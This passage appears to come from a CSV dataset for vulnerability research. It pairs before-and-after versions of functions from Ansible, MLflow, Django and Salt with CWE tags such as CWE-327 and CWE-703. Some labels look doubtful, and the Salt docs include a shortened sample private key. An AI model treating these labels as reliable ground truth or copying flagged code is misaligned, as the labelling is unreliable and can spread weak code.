                        self._tqm.send_callback('v2_runner_on_unreachable', task_result)
                    elif result[0] == 'host_task_skipped':
                        self._tqm._stats.increment('skipped', host.name)
                        self._tqm.send_callback('v2_runner_on_skipped', task_result)
                    elif result[0] == 'host_task_ok':
                        if task.action != 'include':
                            self._tqm._stats.increment('ok', host.name)
                            if 'changed' in task_result._result and task_result._result['changed']:
                                self._tqm._stats.increment('changed', host.name)
                            self._tqm.send_callback('v2_runner_on_ok', task_result)

                        if self._diff and 'diff' in task_result._result:
                            self._tqm.send_callback('v2_on_file_diff', task_result)

                    self._pending_results -= 1
                    if host.name in self._blocked_hosts:
                        del self._blocked_hosts[host.name]

                    # If this is a role task, mark the parent role as being run (if
                    # the task was ok or failed, but not skipped or unreachable)
                    if task_result._task._role is not None and result[0] in ('host_task_ok', 'host_task_failed'):
                        # lookup the role in the ROLE_CACHE to make sure we're dealing
                        # with the correct object and mark it as executed
                        for (entry, role_obj) in iteritems(iterator._play.ROLE_CACHE[task_result._task._role._role_name]):
                            if role_obj._uuid == task_result._task._role._uuid:
                                role_obj._had_task_run[host.name] = True

                    ret_results.append(task_result)

                elif result[0] == 'add_host':
                    result_item = result[1]
                    new_host_info = result_item.get('add_host', dict())

                    self._add_host(new_host_info, iterator)
                    self._tqm._hostvars_manager.hostvars().set_inventory(self._inventory)

                elif result[0] == 'add_group':
                    host = result[1]
                    result_item = result[2]
                    self._add_group(host, result_item)
                    self._tqm._hostvars_manager.hostvars().set_inventory(self._inventory)

                elif result[0] == 'notify_handler':
                    task_result  = result[1]
                    handler_name = result[2]

                    original_task = iterator.get_original_task(task_result._host, task_result._task)
                    if handler_name not in self._notified_handlers:
                        self._notified_handlers[handler_name] = []

                    if task_result._host not in self._notified_handlers[handler_name]:
                        self._notified_handlers[handler_name].append(task_result._host)
                        display.vv(""NOTIFIED HANDLER %s"" % (handler_name,))

                elif result[0] == 'register_host_var':
                    # essentially the same as 'set_host_var' below, however we
                    # never follow the delegate_to value for registered vars and
                    # the variable goes in the fact_cache
                    host      = result[1]
                    var_name  = result[2]
                    var_value = wrap_var(result[3])

                    self._variable_manager.set_nonpersistent_facts(host, {var_name: var_value})
                    self._tqm._hostvars_manager.hostvars().set_nonpersistent_facts(host, {var_name: var_value})

                elif result[0] in ('set_host_var', 'set_host_facts'):
                    host = result[1]
                    task = result[2]
                    item = result[3]

                    if task.delegate_to is not None:
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        if item is not None:
                            task_vars['item'] = item
                        templar = Templar(loader=self._loader, variables=task_vars)
                        host_name = templar.template(task.delegate_to)
                        target_host = self._inventory.get_host(host_name)
                        if target_host is None:
                            target_host = Host(name=host_name)
                    else:
                        target_host = host

                    if result[0] == 'set_host_var':
                        var_name  = result[4]
                        var_value = result[5]

                        self._variable_manager.set_host_variable(target_host, var_name, var_value)
                        self._tqm._hostvars_manager.hostvars().set_host_variable(target_host, var_name, var_value)
                    elif result[0] == 'set_host_facts':
                        facts = result[4]
                        if task.action == 'set_fact':
                            self._variable_manager.set_nonpersistent_facts(target_host, facts)
                            self._tqm._hostvars_manager.hostvars().set_nonpersistent_facts(target_host, facts)
                        else:
                            self._variable_manager.set_host_facts(target_host, facts)
                            self._tqm._hostvars_manager.hostvars().set_host_facts(target_host, facts)

                else:
                    raise AnsibleError(""unknown result message received: %s"" % result[0])
            except Queue.Empty:
                time.sleep(0.0001)

        return ret_results",,ansible/ansible,dfa576b0377c36e8ee561b0b60d497d160f263d8,"def _process_pending_results(self, iterator):
        '''
        Reads results off the final queue and takes appropriate action
        based on the result (executing callbacks, updating state, etc.).
        '''

        ret_results = []

        while not self._final_q.empty() and not self._tqm._terminated:
            try:
                result = self._final_q.get()
                display.debug(""got result from result worker: %s"" % ([text_type(x) for x in result],))

                # all host status messages contain 2 entries: (msg, task_result)
                if result[0] in ('host_task_ok', 'host_task_failed', 'host_task_skipped', 'host_unreachable'):
                    task_result = result[1]
                    host = task_result._host
                    task = task_result._task
                    if result[0] == 'host_task_failed' or task_result.is_failed():
                        if not task.ignore_errors:
                            display.debug(""marking %s as failed"" % host.name)
                            if task.run_once:
                                # if we're using run_once, we have to fail every host here
                                [iterator.mark_host_failed(h) for h in self._inventory.get_hosts(iterator._play.hosts) if h.name not in self._tqm._unreachable_hosts]
                            else:
                                iterator.mark_host_failed(host)
                            self._tqm._failed_hosts[host.name] = True
                            self._tqm._stats.increment('failures', host.name)
                        else:
                            self._tqm._stats.increment('ok', host.name)
                        self._tqm.send_callback('v2_runner_on_failed', task_result, ignore_errors=task.ignore_errors)
                    elif result[0] == 'host_unreachable':
                        self._tqm._unreachable_hosts[host.name] = True
                        self._tqm._stats.increment('dark', host.name)
                        self._tqm.send_callback('v2_runner_on_unreachable', task_result)
                    elif result[0] == 'host_task_skipped':
                        self._tqm._stats.increment('skipped', host.name)
                        self._tqm.send_callback('v2_runner_on_skipped', task_result)
                    elif result[0] == 'host_task_ok':
                        if task.action != 'include':
                            self._tqm._stats.increment('ok', host.name)
                            if 'changed' in task_result._result and task_result._result['changed']:
                                self._tqm._stats.increment('changed', host.name)
                            self._tqm.send_callback('v2_runner_on_ok', task_result)

                        if self._diff and 'diff' in task_result._result:
                            self._tqm.send_callback('v2_on_file_diff', task_result)

                    self._pending_results -= 1
                    if host.name in self._blocked_hosts:
                        del self._blocked_hosts[host.name]

                    # If this is a role task, mark the parent role as being run (if
                    # the task was ok or failed, but not skipped or unreachable)
                    if task_result._task._role is not None and result[0] in ('host_task_ok', 'host_task_failed'):
                        # lookup the role in the ROLE_CACHE to make sure we're dealing
                        # with the correct object and mark it as executed
                        for (entry, role_obj) in iteritems(iterator._play.ROLE_CACHE[task_result._task._role._role_name]):
                            if role_obj._uuid == task_result._task._role._uuid:
                                role_obj._had_task_run[host.name] = True

                    ret_results.append(task_result)

                elif result[0] == 'add_host':
                    result_item = result[1]
                    new_host_info = result_item.get('add_host', dict())

                    self._add_host(new_host_info, iterator)
                    self._tqm._hostvars_manager.hostvars().set_inventory(self._inventory)

                elif result[0] == 'add_group':
                    host = result[1]
                    result_item = result[2]
                    self._add_group(host, result_item)
                    self._tqm._hostvars_manager.hostvars().set_inventory(self._inventory)

                elif result[0] == 'notify_handler':
                    task_result  = result[1]
                    handler_name = result[2]

                    original_task = iterator.get_original_task(task_result._host, task_result._task)
                    if handler_name not in self._notified_handlers:
                        self._notified_handlers[handler_name] = []

                    if task_result._host not in self._notified_handlers[handler_name]:
                        self._notified_handlers[handler_name].append(task_result._host)
                        display.vv(""NOTIFIED HANDLER %s"" % (handler_name,))

                elif result[0] == 'register_host_var':
                    # essentially the same as 'set_host_var' below, however we
                    # never follow the delegate_to value for registered vars and
                    # the variable goes in the fact_cache
                    host      = result[1]
                    var_name  = result[2]
                    var_value = wrap_var(result[3])

                    self._variable_manager.set_nonpersistent_facts(host, {var_name: var_value})
                    self._tqm._hostvars_manager.hostvars().set_variable_manager(self._variable_manager)

                elif result[0] in ('set_host_var', 'set_host_facts'):
                    host = result[1]
                    task = result[2]
                    item = result[3]

                    if task.delegate_to is not None:
                        task_vars = self._variable_manager.get_vars(loader=self._loader, play=iterator._play, host=host, task=task)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        if item is not None:
                            task_vars['item'] = item
                        templar = Templar(loader=self._loader, variables=task_vars)
                        host_name = templar.template(task.delegate_to)
                        target_host = self._inventory.get_host(host_name)
                        if target_host is None:
                            target_host = Host(name=host_name)
                    else:
                        target_host = host

                    if result[0] == 'set_host_var':
                        var_name  = result[4]
                        var_value = result[5]

                        self._variable_manager.set_host_variable(target_host, var_name, var_value)
                    elif result[0] == 'set_host_facts':
                        facts = result[4]
                        if task.action == 'set_fact':
                            self._variable_manager.set_nonpersistent_facts(target_host, facts)
                        else:
                            self._variable_manager.set_host_facts(target_host, facts)
                    self._tqm._hostvars_manager.hostvars().set_variable_manager(self._variable_manager)

                else:
                    raise AnsibleError(""unknown result message received: %s"" % result[0])
            except Queue.Empty:
                time.sleep(0.0001)

        return ret_results"
,UNKNOWN,UNKNOWN,tests/projects/test_project_spec.py,1,"def test_load_virtualenv_project(tmp_path):
    tmp_path.joinpath(""MLproject"").write_text(""python_env: python_env.yaml"")
    python_env = tmp_path.joinpath(""python_env.yaml"")
    python_env.write_text(""python: 3.8.15"")
    project = _project_spec.load_project(tmp_path)
    assert project._entry_points == {}
    assert python_env.samefile(project.env_config_path)",CWE-703,mlflow/mlflow,d64366ee3570c96158431b26bbe1f22a071f1a7b,"def test_load_virtualenv_project(tmp_path):
    tmp_path.joinpath(""MLproject"").write_text(""python_env: python_env.yaml"")
    python_env = tmp_path.joinpath(""python_env.yaml"")
    python_env.write_text(""python: 3.7.10"")
    project = _project_spec.load_project(tmp_path)
    assert project._entry_points == {}
    assert python_env.samefile(project.env_config_path)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils_tests/test_tree.py,0,"def test_add(self):
        # start with the same children of node1 then add an item
        node3 = Node(self.node1_children)
        node3_added_child = ('c', 3)
        # add() returns the added data
        self.assertEqual(node3.add(node3_added_child, Node.default),
                         node3_added_child)
        # we added exactly one item, len() should reflect that
        self.assertEqual(len(self.node1) + 1, len(node3))
        self.assertEqual(str(node3), ""(DEFAULT: ('a', 1), ('b', 2), ('c', 3))"")",CWE-Unknown,django/django,b81c7562fc33f50166d5120138d6398dc42b13c3,"def test_add(self):
        # start with the same children of node1 then add an item
        node3 = Node(self.node1_children)
        node3_added_child = ('c', 3)
        # add() returns the added data
        self.assertEqual(node3.add(node3_added_child, Node.default),
                         node3_added_child)
        # we added exactly one item, len() should reflect that
        self.assertEqual(len(self.node1) + 1, len(node3))
        self.assertEqual(str(node3), ""(DEFAULT: ('a', 1), ('b', 2), ('c', 3))"")"
,UNKNOWN,UNKNOWN,salt/spm/__init__.py,1,"def _local_install(self, args, pkg_name=None):
        '''
        Install a package from a file
        '''
        if len(args) < 2:
            raise SPMInvocationError('A package file must be specified')

        pkg_file = args[1]
        if not os.path.exists(pkg_file):
            raise SPMInvocationError('Package file {0} not found'.format(pkg_file))

        comps = pkg_file.split('-')
        comps = '-'.join(comps[:-2]).split('/')
        name = comps[-1]

        formula_tar = tarfile.open(pkg_file, 'r:bz2')
        formula_ref = formula_tar.extractfile('{0}/FORMULA'.format(name))
        formula_def = yaml.safe_load(formula_ref)

        pkg_info = self.pkgdb['{0}.info'.format(self.db_prov)](name, self.db_conn)
        if pkg_info is not None and not self.opts['force']:
            raise SPMPackageError(
                'Package {0} already installed, not installing again'.format(formula_def['name'])
            )

        if 'dependencies' in formula_def:
            if not isinstance(formula_def['dependencies'], list):
                formula_def['dependencies'] = [formula_def['dependencies']]
            needs = []
            for dep in formula_def['dependencies']:
                if not isinstance(dep, string_types):
                    continue
                data = self.pkgdb['{0}.info'.format(self.db_prov)](dep, self.db_conn)
                if data is not None:
                    continue
                needs.append(dep)
            raise SPMPackageError(
                'Cannot install {0}, the following dependencies are needed:\n\n{1}'.format(
                    formula_def['name'], '\n'.join(needs))
            )

        if pkg_name is None:
            msg = 'Installing package from file {0}'.format(pkg_file)
        else:
            msg = 'Installing package {0}'.format(pkg_name)
        if not self.opts['assume_yes']:
            self.ui.confirm(msg)

        self.ui.status('... installing')

        for field in ('version', 'release', 'summary', 'description'):
            if field not in formula_def:
                raise SPMPackageError('Invalid package: the {0} was not found'.format(field))

        pkg_files = formula_tar.getmembers()
        # First pass: check for files that already exist
        existing_files = self.pkgfiles['{0}.check_existing'.format(self.files_prov)](
            name, pkg_files, formula_def
        )

        if existing_files and not self.opts['force']:
            raise SPMPackageError('Not installing {0} due to existing files:\n\n{1}'.format(
                pkg_name, '\n'.join(existing_files))
            )

        # We've decided to install
        self.pkgdb['{0}.register_pkg'.format(self.db_prov)](name, formula_def, self.db_conn)

        # No defaults for this in config.py; default to the current running
        # user and group
        uid = self.opts.get('spm_uid', os.getuid())
        gid = self.opts.get('spm_gid', os.getgid())
        uname = pwd.getpwuid(uid)[0]
        gname = grp.getgrgid(gid)[0]

        # Second pass: install the files
        for member in pkg_files:
            member.uid = uid
            member.gid = gid
            member.uname = uname
            member.gname = gname

            out_path = self.pkgfiles['{0}.install_file'.format(self.files_prov)](
                name, formula_tar, member, formula_def, self.files_conn
            )
            if out_path is not False:
                if member.isdir():
                    digest = ''
                else:
                    file_hash = hashlib.sha1()
                    digest = self.pkgfiles['{0}.hash_file'.format(self.files_prov)](out_path, file_hash, self.files_conn)
                self.pkgdb['{0}.register_file'.format(self.db_prov)](
                    name,
                    member,
                    out_path,
                    digest,
                    self.db_conn
                )

        formula_tar.close()",CWE-327,saltstack/salt,626706e3d241862e5ed93003c3a3f582dda34cfa,"def _local_install(self, args, pkg_name=None):
        '''
        Install a package from a file
        '''
        if len(args) < 2:
            raise SPMInvocationError('A package file must be specified')

        pkg_file = args[1]
        if not self.pkgfiles['{0}.path_exists'.format(self.files_prov)](pkg_file):
            raise SPMInvocationError('Package file {0} not found'.format(pkg_file))

        comps = pkg_file.split('-')
        comps = '-'.join(comps[:-2]).split('/')
        name = comps[-1]

        formula_tar = tarfile.open(pkg_file, 'r:bz2')
        formula_ref = formula_tar.extractfile('{0}/FORMULA'.format(name))
        formula_def = yaml.safe_load(formula_ref)

        pkg_info = self.pkgdb['{0}.info'.format(self.db_prov)](name, self.db_conn)
        if pkg_info is not None and not self.opts['force']:
            raise SPMPackageError(
                'Package {0} already installed, not installing again'.format(formula_def['name'])
            )

        if 'dependencies' in formula_def:
            if not isinstance(formula_def['dependencies'], list):
                formula_def['dependencies'] = [formula_def['dependencies']]
            needs = []
            for dep in formula_def['dependencies']:
                if not isinstance(dep, string_types):
                    continue
                data = self.pkgdb['{0}.info'.format(self.db_prov)](dep, self.db_conn)
                if data is not None:
                    continue
                needs.append(dep)
            raise SPMPackageError(
                'Cannot install {0}, the following dependencies are needed:\n\n{1}'.format(
                    formula_def['name'], '\n'.join(needs))
            )

        if pkg_name is None:
            msg = 'Installing package from file {0}'.format(pkg_file)
        else:
            msg = 'Installing package {0}'.format(pkg_name)
        if not self.opts['assume_yes']:
            self.ui.confirm(msg)

        self.ui.status('... installing')

        for field in ('version', 'release', 'summary', 'description'):
            if field not in formula_def:
                raise SPMPackageError('Invalid package: the {0} was not found'.format(field))

        pkg_files = formula_tar.getmembers()
        # First pass: check for files that already exist
        existing_files = self.pkgfiles['{0}.check_existing'.format(self.files_prov)](
            name, pkg_files, formula_def
        )

        if existing_files and not self.opts['force']:
            raise SPMPackageError('Not installing {0} due to existing files:\n\n{1}'.format(
                pkg_name, '\n'.join(existing_files))
            )

        # We've decided to install
        self.pkgdb['{0}.register_pkg'.format(self.db_prov)](name, formula_def, self.db_conn)

        # No defaults for this in config.py; default to the current running
        # user and group
        uid = self.opts.get('spm_uid', os.getuid())
        gid = self.opts.get('spm_gid', os.getgid())
        uname = pwd.getpwuid(uid)[0]
        gname = grp.getgrgid(gid)[0]

        # Second pass: install the files
        for member in pkg_files:
            member.uid = uid
            member.gid = gid
            member.uname = uname
            member.gname = gname

            file_ref = formula_tar.extractfile(member)
            if member.isdir():
                digest = ''
            else:
                file_hash = hashlib.sha1()
                file_hash.update(file_ref.read())
                digest = file_hash.hexdigest()

            out_path = self.pkgfiles['{0}.install_file'.format(self.files_prov)](
                name, formula_tar, member, formula_def, self.files_conn
            )
            if out_path is not False:
                self.pkgdb['{0}.register_file'.format(self.db_prov)](
                    name,
                    member,
                    out_path,
                    digest,
                    self.db_conn
                )

        formula_tar.close()"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/file.py,0,"def managed(name,
            source=None,
            source_hash='',
            user=None,
            group=None,
            mode=None,
            template=None,
            makedirs=False,
            dir_mode=None,
            context=None,
            replace=True,
            defaults=None,
            env=None,
            backup='',
            show_diff=True,
            create=True,
            contents=None,
            contents_pillar=None,
            contents_grains=None,
            contents_newline=True,
            contents_delimiter=':',
            allow_empty=True,
            follow_symlinks=True,
            check_cmd=None,
            **kwargs):
    '''
    Manage a given file, this function allows for a file to be downloaded from
    the salt master and potentially run through a templating system.

    name
        The location of the file to manage

    source
        The source file to download to the minion, this source file can be
        hosted on either the salt master server, or on an HTTP or FTP server.
        Both HTTPS and HTTP are supported as well as downloading directly
        from Amazon S3 compatible URLs with both pre-configured and automatic
        IAM credentials. (see s3.get state documentation)
        File retrieval from Openstack Swift object storage is supported via
        swift://container/object_path URLs, see swift.get documentation.
        For files hosted on the salt file server, if the file is located on
        the master in the directory named spam, and is called eggs, the source
        string is salt://spam/eggs. If source is left blank or None
        (use ~ in YAML), the file will be created as an empty file and
        the content will not be managed

        If the file is hosted on a HTTP or FTP server then the source_hash
        argument is also required

        A list of sources can also be passed in to provide a default source and
        a set of fallbacks. The first source in the list that is found to exist
        will be used and subsequent entries in the list will be ignored. Source
        list functionality only supports local files and remote files hosted on
        the salt master server or retrievable via HTTP, HTTPS, or FTP.

        .. code-block:: yaml

            file_override_example:
              file.managed:
                - source:
                  - salt://file_that_does_not_exist
                  - salt://file_that_exists

    source_hash
        This can be one of the following:
            1. a source hash string
            2. the URI of a file that contains source hash strings

        The function accepts the first encountered long unbroken alphanumeric
        string of correct length as a valid hash, in order from most secure to
        least secure:

        .. code-block:: text

            Type    Length
            ======  ======
            sha512     128
            sha384      96
            sha256      64
            sha224      56
            sha1        40
            md5         32

        **Using a Source Hash File**
            The file can contain several checksums for several files. Each line
            must contain both the file name and the hash.  If no file name is
            matched, the first hash encountered will be used, otherwise the most
            secure hash with the correct source file name will be used.

            When using a source hash file the source_hash argument needs to be a
            url, the standard download urls are supported, ftp, http, salt etc:

            Example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.hash

            The following is an example of the supported source_hash format:

            .. code-block:: text

                /etc/rc.conf ef6e82e4006dee563d98ada2a2a80a27
                sha254c8525aee419eb649f0233be91c151178b30f0dff8ebbdcc8de71b1d5c8bcc06a  /etc/resolv.conf
                ead48423703509d37c4a90e6a0d53e143b6fc268

            Debian file type ``*.dsc`` files are also supported.

        **Inserting the Source Hash in the sls Data**
            Examples:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: md5=79eef25f9b0b2c642c62b7f737d4f53f


        Known issues:
            If the remote server URL has the hash file as an apparent
            sub-directory of the source file, the module will discover that it
            has already cached a directory where a file should be cached. For
            example:

            .. code-block:: yaml

                tomdroid-src-0.7.3.tar.gz:
                  file.managed:
                    - name: /tmp/tomdroid-src-0.7.3.tar.gz
                    - source: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz
                    - source_hash: https://launchpad.net/tomdroid/beta/0.7.3/+download/tomdroid-src-0.7.3.tar.gz/+md5


    user
        The user to own the file, this defaults to the user salt is running as
        on the minion

    group
        The group ownership set for the file, this defaults to the group salt
        is running as on the minion On Windows, this is ignored

    mode
        The permissions to set on this file, aka 644, 0775, 4664. Not supported
        on Windows

    template
        If this setting is applied then the named templating engine will be
        used to render the downloaded file, currently jinja, mako, and wempy
        are supported

    makedirs : False
        If set to ``True``, then the parent directories will be created to
        facilitate the creation of the named file. If ``False``, and the parent
        directory of the destination file doesn't exist, the state will fail.

    dir_mode
        If directories are to be created, passing this option specifies the
        permissions for those directories. If this is not set, directories
        will be assigned permissions from the 'mode' argument.

    replace : True
        If set to ``False`` and the file already exists, the file will not be
        modified even if changes would otherwise be made. Permissions and
        ownership will still be enforced, however.

    context
        Overrides default context variables passed to the template.

    defaults
        Default context passed to the template.

    backup
        Overrides the default backup mode for this specific file.

    show_diff : True
        If set to ``False``, the diff will not be shown in the return data if
        changes are made.

    create : True
        If set to ``False``, then the file will only be managed if the file
        already exists on the system.

    contents
        Specify the contents of the file. Cannot be used in combination with
        ``source``. Ignores hashes and does not use a templating engine.

        This value can be either a single string, a multiline YAML string or a
        list of strings.  If a list of strings, then the strings will be joined
        together with newlines in the resulting file. For example, the below
        two example states would result in identical file contents:

        .. code-block:: yaml

            /path/to/file1:
              file.managed:
                - contents:
                  - This is line 1
                  - This is line 2

            /path/to/file2:
              file.managed:
                - contents: |
                  This is line 1
                  This is line 2


    contents_pillar
        .. versionadded:: 0.17.0

        Operates like ``contents``, but draws from a value stored in pillar,
        using the pillar path syntax used in :mod:`pillar.get
        <salt.modules.pillar.get>`. This is useful when the pillar value
        contains newlines, as referencing a pillar variable using a jinja/mako
        template can result in YAML formatting issues due to the newlines
        causing indentation mismatches.

        For example, the following could be used to deploy an SSH private key:

        .. code-block:: yaml

            /home/deployer/.ssh/id_rsa:
              file.managed:
                - user: deployer
                - group: deployer
                - mode: 600
                - contents_pillar: userdata:deployer:id_rsa

        This would populate ``/home/deployer/.ssh/id_rsa`` with the contents of
        ``pillar['userdata']['deployer']['id_rsa']``. An example of this pillar
        setup would be like so:

        .. code-block:: yaml

            userdata:
              deployer:
                id_rsa: |
                  -----BEGIN RSA PRIVATE KEY-----
                  MIIEowIBAAKCAQEAoQiwO3JhBquPAalQF9qP1lLZNXVjYMIswrMe2HcWUVBgh+vY
                  U7sCwx/dH6+VvNwmCoqmNnP+8gTPKGl1vgAObJAnMT623dMXjVKwnEagZPRJIxDy
                  B/HaAre9euNiY3LvIzBTWRSeMfT+rWvIKVBpvwlgGrfgz70m0pqxu+UyFbAGLin+
                  GpxzZAMaFpZw4sSbIlRuissXZj/sHpQb8p9M5IeO4Z3rjkCP1cxI
                  -----END RSA PRIVATE KEY-----

        .. note::

            The private key above is shortened to keep the example brief, but
            shows how to do multiline string in YAML. The key is followed by a
            pipe character, and the mutliline string is indented two more
            spaces.

            To avoid the hassle of creating an indented multiline YAML string,
            the :mod:`file_tree external pillar <salt.pillar.file_tree>` can
            be used instead. However, this will not work for binary files in
            Salt releases before 2015.8.4.

    contents_grains
        .. versionadded:: 2014.7.0

        Same as ``contents_pillar``, but with grains

    contents_newline : True
        .. versionadded:: 2014.7.0
        .. versionchanged:: 2015.8.4
            This option is now ignored if the contents being deployed contain
            binary data.

        If ``True``, files managed using ``contents``, ``contents_pillar``, or
        ``contents_grains`` will have a newline added to the end of the file if
        one is not present. Setting this option to ``False`` will omit this
        final newline.

    contents_delimiter
        .. versionadded:: 2015.8.4

        Can be used to specify an alternate delimiter for ``contents_pillar``
        or ``contents_grains``. This delimiter will be passed through to
        :py:func:`pillar.get <salt.modules.pillar.get>` or :py:func:`grains.get
        <salt.modules.grains.get>` when retrieving the contents.

    allow_empty : True
        .. versionadded:: 2015.8.4

        If set to ``False``, then the state will fail if the contents specified
        by ``contents_pillar`` or ``contents_grains`` are empty.

    follow_symlinks : True
        .. versionadded:: 2014.7.0

        If the desired path is a symlink follow it and make changes to the
        file to which the symlink points.

    check_cmd
        .. versionadded:: 2014.7.0

        The specified command will be run with the managed file as an argument.
        If the command exits with a nonzero exit code, the state will fail and
        no changes will be made to the file.

        For example, the following could be used to verify sudoers before making
        changes:

        .. code-block:: yaml

            /etc/sudoers:
              file.managed:
                - user: root
                - group: root
                - mode: 0440
                - source: salt://sudoers/files/sudoers.jinja
                - template: jinja
                - check_cmd: /usr/sbin/visudo -c -f

    '''
    name = os.path.expanduser(name)

    ret = {'changes': {},
           'comment': '',
           'name': name,
           'result': True}

    content_sources = (contents, contents_pillar, contents_grains)
    contents_count = len(
        [x for x in content_sources if x is not None]
    )

    if source and contents_count > 0:
        return _error(
            ret,
            '\'source\' cannot be used in combination with \'contents\', '
            '\'contents_pillar\', or \'contents_grains\''
        )
    elif contents_count > 1:
        return _error(
            ret,
            'Only one of \'contents\', \'contents_pillar\', and '
            '\'contents_grains\' is permitted'
        )

    # If no source is specified, set replace to False, as there is nothing
    # with which to replace the file.
    if not source and contents_count == 0 and replace:
        replace = False
        log.warning(
            'Neither \'source\' nor \'contents\' nor \'contents_pillar\' nor '
            '\'contents_grains\' was defined, yet \'replace\' was set to '
            '\'True\'. As there is no source to replace the file with, '
            '\'replace\' has been set to \'False\' to avoid reading the file '
            'unnecessarily.'
        )

    # Use this below to avoid multiple '\0' checks and save some CPU cycles
    contents_are_binary = False
    if contents_pillar:
        contents = __salt__['pillar.get'](contents_pillar, __NOT_FOUND)
        if contents is __NOT_FOUND:
            return _error(
                ret,
                'Pillar {0} does not exist'.format(contents_pillar)
            )
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            contents = str(contents)
        if not allow_empty and not contents:
            return _error(
                ret,
                'contents_pillar {0} results in empty contents'
                .format(contents_pillar)
            )

    elif contents_grains:
        contents = __salt__['grains.get'](contents_grains, __NOT_FOUND)
        if contents is __NOT_FOUND:
            return _error(
                ret,
                'Grain {0} does not exist'.format(contents_grains)
            )
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            contents = str(contents)
        if not allow_empty and not contents:
            return _error(
                ret,
                'contents_grains {0} results in empty contents'
                .format(contents_grains)
            )

    elif contents:
        try:
            if '\0' in contents:
                contents_are_binary = True
        except TypeError:
            pass
        if not contents_are_binary:
            validated_contents = _validate_str_list(contents)
            if not validated_contents:
                return _error(
                    ret,
                    '\'contents\' is not a string or list of strings'
                )
            contents = os.linesep.join(validated_contents)

    # If either contents_pillar or contents_grains were used, the contents
    # variable now contains the value loaded from pillar/grains.
    if contents \
            and not contents_are_binary \
            and contents_newline \
            and not contents.endswith(os.linesep):
        contents += os.linesep

    # Make sure that leading zeros stripped by YAML loader are added back
    mode = __salt__['config.manage_mode'](mode)

    if not name:
        return _error(ret, 'Must provide name to file.exists')
    user = _test_owner(kwargs, user=user)
    if salt.utils.is_windows():
        if group is not None:
            log.warning(
                'The group argument for {0} has been ignored as this '
                'is a Windows system.'.format(name)
            )
        group = user
    if not create:
        if not os.path.isfile(name):
            # Don't create a file that is not already present
            ret['comment'] = ('File {0} is not present and is not set for '
                              'creation').format(name)
            return ret
    u_check = _check_user(user, group)
    if u_check:
        # The specified user or group do not exist
        return _error(ret, u_check)
    if not os.path.isabs(name):
        return _error(
            ret, 'Specified file {0} is not an absolute path'.format(name))

    if isinstance(env, six.string_types):
        msg = (
            'Passing a salt environment should be done using \'saltenv\' not '
            '\'env\'. This warning will go away in Salt Boron and this '
            'will be the default and expected behavior. Please update your '
            'state files.'
        )
        salt.utils.warn_until('Boron', msg)
        ret.setdefault('warnings', []).append(msg)
        # No need to set __env__ = env since that's done in the state machinery

    if os.path.isdir(name):
        ret['comment'] = 'Specified target {0} is a directory'.format(name)
        ret['result'] = False
        return ret

    if context is None:
        context = {}
    elif not isinstance(context, dict):
        return _error(
            ret, 'Context must be formed as a dict')
    if defaults and not isinstance(defaults, dict):
        return _error(
            ret, 'Defaults must be formed as a dict')

    if not replace and os.path.exists(name):
        # Check and set the permissions if necessary
        ret, _ = __salt__['file.check_perms'](name, ret, user, group, mode,
                                              follow_symlinks)
        if __opts__['test']:
            ret['comment'] = 'File {0} not updated'.format(name)
        elif not ret['changes'] and ret['result']:
            ret['comment'] = ('File {0} exists with proper permissions. '
                              'No changes made.'.format(name))
        return ret

    accum_data, _ = _load_accumulators()
    if name in accum_data:
        if not context:
            context = {}
        context['accumulator'] = accum_data[name]

    try:
        if __opts__['test']:
            ret['changes'] = __salt__['file.check_managed_changes'](
                name,
                source,
                source_hash,
                user,
                group,
                mode,
                template,
                context,
                defaults,
                __env__,
                contents,
                **kwargs
            )

            if ret['changes']:
                ret['result'] = None
                ret['comment'] = 'The file {0} is set to be changed'.format(name)
                if not show_diff:
                    ret['changes']['diff'] = '<show_diff=False>'
            else:
                ret['result'] = True
                ret['comment'] = 'The file {0} is in the correct state'.format(name)

            return ret

        # If the source is a list then find which file exists
        source, source_hash = __salt__['file.source_list'](
            source,
            source_hash,
            __env__
        )
    except CommandExecutionError as exc:
        ret['result'] = False
        ret['comment'] = 'Unable to manage file: {0}'.format(exc)
        return ret

    # Gather the source file from the server
    try:
        sfn, source_sum, comment_ = __salt__['file.get_managed'](
            name,
            template,
            source,
            source_hash,
            user,
            group,
            mode,
            __env__,
            context,
            defaults,
            **kwargs
        )
    except Exception as exc:
        ret['changes'] = {}
        log.debug(traceback.format_exc())
        return _error(ret, 'Unable to manage file: {0}'.format(exc))

    tmp_filename = None

    if check_cmd:
        tmp_filename = salt.utils.mkstemp()

        # if exists copy existing file to tmp to compare
        if __salt__['file.file_exists'](name):
            try:
                __salt__['file.copy'](name, tmp_filename)
            except Exception as exc:
                return _error(
                    ret,
                    'Unable to copy file {0} to {1}: {2}'.format(
                        name, tmp_filename, exc
                    )
                )

        try:
            ret = __salt__['file.manage_file'](
                tmp_filename,
                sfn,
                ret,
                source,
                source_sum,
                user,
                group,
                mode,
                __env__,
                backup,
                makedirs,
                template,
                show_diff,
                contents,
                dir_mode,
                follow_symlinks)
        except Exception as exc:
            ret['changes'] = {}
            log.debug(traceback.format_exc())
            if os.path.isfile(tmp_filename):
                os.remove(tmp_filename)
            return _error(ret, 'Unable to check_cmd file: {0}'.format(exc))

        # file being updated to verify using check_cmd
        if ret['changes']:
            # Reset ret
            ret = {'changes': {},
                   'comment': '',
                   'name': name,
                   'result': True}

            check_cmd_opts = {}
            if 'shell' in __grains__:
                check_cmd_opts['shell'] = __grains__['shell']

            cret = mod_run_check_cmd(check_cmd, tmp_filename, **check_cmd_opts)
